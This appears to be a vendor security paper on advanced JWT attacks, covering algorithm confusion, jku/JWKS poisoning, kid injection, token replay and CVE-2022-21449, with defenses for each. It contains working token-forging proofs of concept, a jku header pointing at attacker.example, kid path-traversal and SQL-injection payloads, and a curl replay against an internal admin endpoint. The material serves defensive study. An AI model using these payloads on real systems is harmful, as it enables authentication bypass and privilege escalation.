Most JWT guidance stops at "reject alg:none and use a strong secret." Teams that have done both still get their authentication forged, because the interesting attacks do not live in the obvious places. They live in how a verifier resolves keys, how it maps an algorithm name to a verification routine, and how two services that share a token format quietly disagree about who is allowed to issue tokens.
This paper assumes you already reject none and rotate secrets. It works through the attacks that defeat that baseline: algorithm confusion against real key-loading code, JWKS resolution poisoning via jku and x5u, kid as an injection sink, cross-service and cross-tenant replay, and the verification architecture that closes all of them at once. Every technique is mapped to a documented primitive.
The threat model that matters
A JWT verifier is a small state machine that takes attacker-controlled bytes (the token) and returns a trusted identity. The attacker's goal is to make that machine return an identity it should not. There are only a few levers, and the header exposes most of them:
algselects the verification algorithm. If the attacker controls which algorithm runs, they often control the key semantics too.kid,jku,jwk, andx5utell the verifier which key to use or where to get it. Each is attacker-supplied.- The claims (
iss,aud,sub,exp) define scope. A signature that is cryptographically valid but accepted in the wrong context is still a break.
Sophisticated attacks chain a key-resolution flaw with a context flaw. The signature ends up technically valid, which is exactly why these slip past teams that only audit the crypto.
Attack 1: algorithm confusion against real key-loading code
The textbook description, "switch RS256 to HS256 and sign with the public key," is correct but incomplete. What makes it exploitable in practice is the shape of the verification call.
Consider a common, vulnerable pattern where the library auto-selects the algorithm from the token header and the developer passes a single key object:
# VULNERABLE: the key is the RSA public key, but the alg comes from the token.
public_key = load_rsa_public_key("jwt_public.pem")
claims = jwt.decode(token, key=public_key, algorithms=["RS256", "HS256"]) # both allowed
The RSA public key is, by design, not a secret. When the attacker sets the header to HS256, a permissive verifier treats the PEM bytes of that public key as the HMAC shared secret. The attacker, who also has the public key, computes HMAC-SHA256(public_key_bytes, header.payload) and produces a signature the server accepts. No private key is ever needed.
The subtlety that breaks real-world exploitation attempts is key serialization. The HMAC must be computed over the exact byte representation the server uses as the secret: usually the full PEM string including the -----BEGIN PUBLIC KEY----- armor and trailing newline, but sometimes the DER bytes or a specific PKCS encoding. Successful exploitation means matching that representation precisely. PortSwigger's analysis and WorkOS's writeup walk through obtaining the public key (often exposed at /.well-known/jwks.json or recoverable from two signed tokens) and trying each encoding.
PoC, forging an admin token using the server's own public key as the HMAC secret. Run this only against systems you own or are authorized to test:
import jwt # PyJWT
# The RSA public key the server publishes (e.g. from /.well-known/jwks.json).
with open("server_public.pem", "rb") as f:
public_pem = f.read()
forged = jwt.encode(
{"sub": "attacker", "role": "admin"},
key=public_pem, # public key bytes used as the HMAC secret
algorithm="HS256", # downgrade RS256 -> HS256
headers={"alg": "HS256"},
)
# A verifier that accepts both RS256 and HS256 and loads this same public
# key will validate the HMAC and trust role=admin. If the first encoding
# fails, retry with DER bytes or PEM without the trailing newline.
print(forged)
Defense: the verifier must pin the algorithm and the key type by configuration, never read alg from the token to choose a verification family. Pass algorithms=["RS256"] only, and ensure the library rejects a token whose alg is not in that exact list before any key is loaded.
Attack 2: JWKS resolution poisoning (jku, x5u, jwk)
Modern services rarely hardcode a key. They resolve it dynamically from a JSON Web Key Set, and the token header can influence that resolution. This is the richest attack surface in 2026-era JWT deployments.
Rendering diagram
Three header parameters drive this:
jku(JWK Set URL). Points to a URL hosting the key set. A verifier that fetches keys from the token-suppliedjkuwill fetch from the attacker's server. The attacker hosts a JWKS containing their own public key under akidthat matches their token, signs with their private key, and the server validates against the attacker's key. PortSwigger ships a dedicated lab on this exact flow. The strongest variant pairsjkuwith an SSRF or open-redirect on a trusted host, so the URL appears to originate from an allowlisted domain while actually serving attacker content. This is where JWT and SSRF attack chains converge.x5u(X.509 URL) andx5c(X.509 cert chain). The certificate analogues ofjku/jwk. A verifier that trusts a certificate URL or an embedded chain from the header, without validating it against a trusted CA, accepts an attacker-supplied cert.jwk(embedded JWK). The public key is embedded directly in the header. A verifier that uses it without checking it against a trusted store will validate a self-signed forgery.
PoC, a jku pointed at an attacker-controlled key set. The attacker hosts their own JWKS and signs with the matching private key:
import jwt
# 1. Attacker generates a keypair and hosts the public half as a JWKS:
# https://attacker.example/jwks.json -> {"keys":[{"kid":"atk1", ...}]}
with open("attacker_private.pem", "rb") as f:
attacker_priv = f.read()
forged = jwt.encode(
{"sub": "victim", "role": "admin"},
key=attacker_priv,
algorithm="RS256",
headers={
"kid": "atk1",
"jku": "https://attacker.example/jwks.json", # verifier fetches THIS
},
)
# A verifier that fetches keys from the token's jku finds the attacker's
# key under kid=atk1 and validates the forgery. The dangerous variant sets
# jku to an SSRF/open-redirect on a trusted host so it passes a naive
# "must be on our domain" check while still serving attacker content.
print(forged)
Defense: verification keys must come only from a server-side trusted source. Ignore jwk entirely on the verification path. If jku or x5u is genuinely required (multi-issuer federation), restrict it to a strict allowlist of exact, scheme-checked URLs on infrastructure you control, and resolve them through a fetcher that cannot be redirected to internal hosts. Treat the combination of header-controlled key resolution and any SSRF primitive as critical.
Attack 3: kid as an injection sink
The kid (key ID) parameter is a lookup key, and lookups are injection-prone. Depending on how the server resolves kid, it becomes a different vulnerability class:
- Path traversal to a predictable key. If
kidselects a key file by path,"kid": "../../../../dev/null"makes the effective key the contents of an empty, world-readable file. The attacker then signs with an empty HMAC secret and the signature verifies. Variants point at other predictable static files (/proc/sys/kernel/..., a known CSS asset) whose contents the attacker can reproduce. - SQL injection. If
kidindexes a database table, it is a classic SQLi sink."kid": "x' UNION SELECT 'attacker_known_secret' -- "can make the query return a key the attacker controls. - Command injection. Rare but seen where
kidis interpolated into a shell command for key retrieval.
PoC, the kid path-traversal trick that forces an empty signing key:
import jwt
# If the server resolves kid as a file path, point it at a file whose
# contents are known and empty, then sign with that empty key.
forged = jwt.encode(
{"sub": "attacker", "role": "admin"},
key="", # empty secret = contents of /dev/null
algorithm="HS256",
headers={"kid": "../../../../../../dev/null"},
)
# A verifier that does open(kid).read() to get the HMAC secret reads an
# empty string, and HMAC("", header.payload) matches. The SQLi variant uses
# "kid": "x' UNION SELECT 'known_secret'-- "
# to make the key-lookup query return a value the attacker controls.
print(forged)
Defense: treat kid as fully untrusted. Validate it against a finite set of known key IDs before any lookup, never interpolate it into a path, query, or command, and use parameterized lookups.
Attack 4: cross-service and cross-tenant replay
This is the flaw that survives a perfect crypto implementation. A token can be cryptographically valid and still be accepted where it should not be.
- Audience confusion. A token minted for service A (
aud: serviceA) is replayed against service B. If B shares the issuer's signing key (common in a microservice mesh with a central identity provider) and does not strictly validateaud, B accepts a token never intended for it. An attacker with a low-privilege token for one service can pivot to another. - Issuer confusion in multi-tenant systems. A token from tenant 1's issuer is accepted by tenant 2's verifier because both trust the same upstream key and neither pins
issto the tenant. This is a direct cross-tenant authentication bypass. - Type confusion. A refresh token, ID token, or email-verification token is replayed on an access-token endpoint that only checks the signature, not the token's intended purpose (often carried in a
typor custom claim).
PoC, no forgery needed. Capture a legitimate low-privilege token and replay it where it should not be accepted:
# A real token issued for service A, with aud=serviceA, sub=lowpriv-user.
TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsb3dwcml2..."
# Replay it verbatim against service B in the same mesh. If B trusts the
# shared issuer key and does not pin aud=serviceB, it accepts a token
# that was never minted for it.
curl -s https://service-b.internal/api/admin/users \
-H "Authorization: Bearer $TOKEN"
# Same idea cross-tenant: a tenant-1 token accepted by tenant-2's verifier
# because both trust the upstream key and neither pins iss to the tenant.
Defense: every verifier must validate iss against its own expected issuer and aud against its own identifier, and reject anything else, even with a valid signature. Pin token purpose explicitly. Prefer per-service or per-tenant keys so a token simply cannot verify outside its domain.
Attack 5: the crypto floor (CVE-2022-21449)
Sometimes the flaw is beneath your code. CVE-2022-21449, "Psychic Signatures," was a defect in the ECDSA verification of Java 15 through 18: the implementation failed to reject signatures where the values r and s were both zero, so an all-zero signature validated against any message and any key. Any system verifying ES256/ES384/ES512 JWTs on an affected JVM accepted a token with a blank signature. Neil Madden's original disclosure and JFrog's analysis cover the mechanics. The lesson for advanced threat models: your token security inherits every bug in the crypto library and runtime under it, so those must be in scope and patched.
The verification architecture that closes the set
Individual fixes are necessary but fragile. The durable approach is a verification design where attacker-controlled header fields cannot influence trust decisions at all.
| Lever | Insecure (token decides) | Secure (server decides) |
|---|---|---|
| Algorithm | read alg from header | pinned allowlist in config |
| Key source | jku / x5u / jwk from header | server-side trusted JWKS only |
| Key ID | kid used in path/query directly | validated against known IDs |
| Scope | signature-only check | strict iss + aud + purpose |
| Crypto | whatever the runtime does | patched, audited library |
Concretely, a hardened verifier:
- Rejects the token if
algis not in a hardcoded allowlist, before loading any key. - Resolves the key only from a server-controlled JWKS, ignoring
jwkand unvalidatedjku/x5u. - Treats
kidas an opaque token validated against known IDs. - Verifies the signature with the pinned algorithm and key type.
- Enforces
iss,aud,exp,nbf, and token purpose against this service's expected values. - Runs on a patched crypto runtime.
Miss any one layer and the others can be chained around. Algorithm confusion needs step 1 and 4. JWKS poisoning needs step 2. Replay needs step 5. They are independent, which is why a real defense addresses all of them.
How Breachline tests for this
JWT flaws reward an attacker that chains, so Nebula tests them as chains rather than as a checklist. It fingerprints the token, then attempts each primitive and, critically, the combinations: algorithm confusion across multiple key serializations, jku pointed at attacker infrastructure and at SSRF-reachable trusted hosts, kid path and SQL injection, embedded jwk and x5c, and replay across discovered service and tenant boundaries. When a forged or replayed token is accepted, it confirms impact by exercising a privileged action, so the finding is "here is an admin session we minted via RS256-to-HS256 confusion," not "the verifier may be weak." It also checks the claim-validation layer independently, catching verifiers that pass the signature but ignore aud or iss.
Takeaways
- The advanced JWT attacks chain a key-resolution flaw with a context flaw, producing a signature that is technically valid and therefore invisible to crypto-only audits.
- Pin the algorithm and key type server-side; never let
algchoose a verification family. This is the only real fix for algorithm confusion. - Resolve keys solely from a trusted server-side JWKS.
jku,x5u, andjwkfrom the header are attacker input, andjkuplus SSRF is a critical chain. - Enforce
iss,aud, and token purpose on every verifier. Cross-service and cross-tenant replay defeats perfect crypto. - Patch the crypto runtime. CVE-2022-21449 shows the floor can fail independently of your code.
Sources
- PortSwigger Web Security Academy: JWT attacks
- PortSwigger: JWT algorithm confusion
- PortSwigger lab: JWT bypass via jku header injection
- WorkOS: JWT algorithm confusion attacks
- Neil Madden: Psychic Signatures in Java (CVE-2022-21449)
- JFrog: Analyzing CVE-2022-21449
- OWASP WSTG: Testing JSON Web Tokens